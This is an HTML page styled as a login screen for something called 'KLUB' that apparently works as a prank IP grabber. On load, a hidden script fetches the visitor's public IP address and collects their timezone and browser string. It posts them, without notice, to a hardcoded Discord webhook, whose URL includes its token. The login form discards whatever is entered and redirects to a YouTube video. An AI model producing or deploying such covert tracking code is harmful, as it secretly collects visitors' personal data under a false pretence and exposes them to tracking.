<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>KLUB</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #121212;
            color: #ffffff;
        }
        .container {
            text-align: center;
            background: #1e1e1e;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
            width: 350px;
        }
        h1 {
            font-size: 24px;
            margin-bottom: 20px;
            color: #dcdcdc;
        }
        input[type="text"], input[type="password"] {
            width: 90%;
            padding: 10px;
            margin: 10px 0;
            border: none;
            border-radius: 5px;
            background: #2c2f33;
            color: #ffffff;
            font-size: 16px;
            text-align: center;
        }
        .login-btn {
            background: #5a5a5a;
            color: #ffffff;
            border: none;
            padding: 10px 20px;
            font-size: 16px;
            border-radius: 5px;
            cursor: pointer;
            margin-top: 15px;
            width: 90%;
        }
        .login-btn:hover {
            background: #7a7a7a;
        }
        .watermark {
            font-size: 12px;
            color: #555;
            margin-top: 10px;
            font-style: italic;
        }
    </style>
    <script>
        async function logUserDetails() {
            const loggedIP = localStorage.getItem('userIPLogged');
            if (loggedIP) return;

            const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
            const browser = navigator.userAgent;

            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                const userIP = data.ip;

                localStorage.setItem('userIPLogged', userIP);

                const webhookUrl = 'https://ptb.discord.com/api/webhooks/1308160189416865832/ShliENBelivtrQ5HgBn-YMm-l4KRyOkpSFgHQoa0MmcyQc9dAkQU8yRKY28wW8jN4c27';
                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        content: `Login Attempt Logged:\nIP: ${userIP}\nTimezone: ${timezone}\nBrowser: ${browser}`,
                    }),
                });
            } catch (error) {
                console.error('Error logging details:', error);
            }
        }

        window.onload = logUserDetails;

        function handleLogin() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;

            if (!username.trim() || !password.trim()) {
                alert('Please fill in both fields.');
                return;
            }

            alert('Login successful. Redirecting...');
            window.location.href = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ';
        }
    </script>
</head>
<body>
    <div class="container">
        <h1>LOG INTO KLUB</h1>
        <input type="text" id="username" placeholder="Username">
        <input type="password" id="password" placeholder="Password">
        <button class="login-btn" onclick="handleLogin()">Authenticate</button>
        <div class="watermark">Made by Jan</div>
    </div>
</body>
</html>
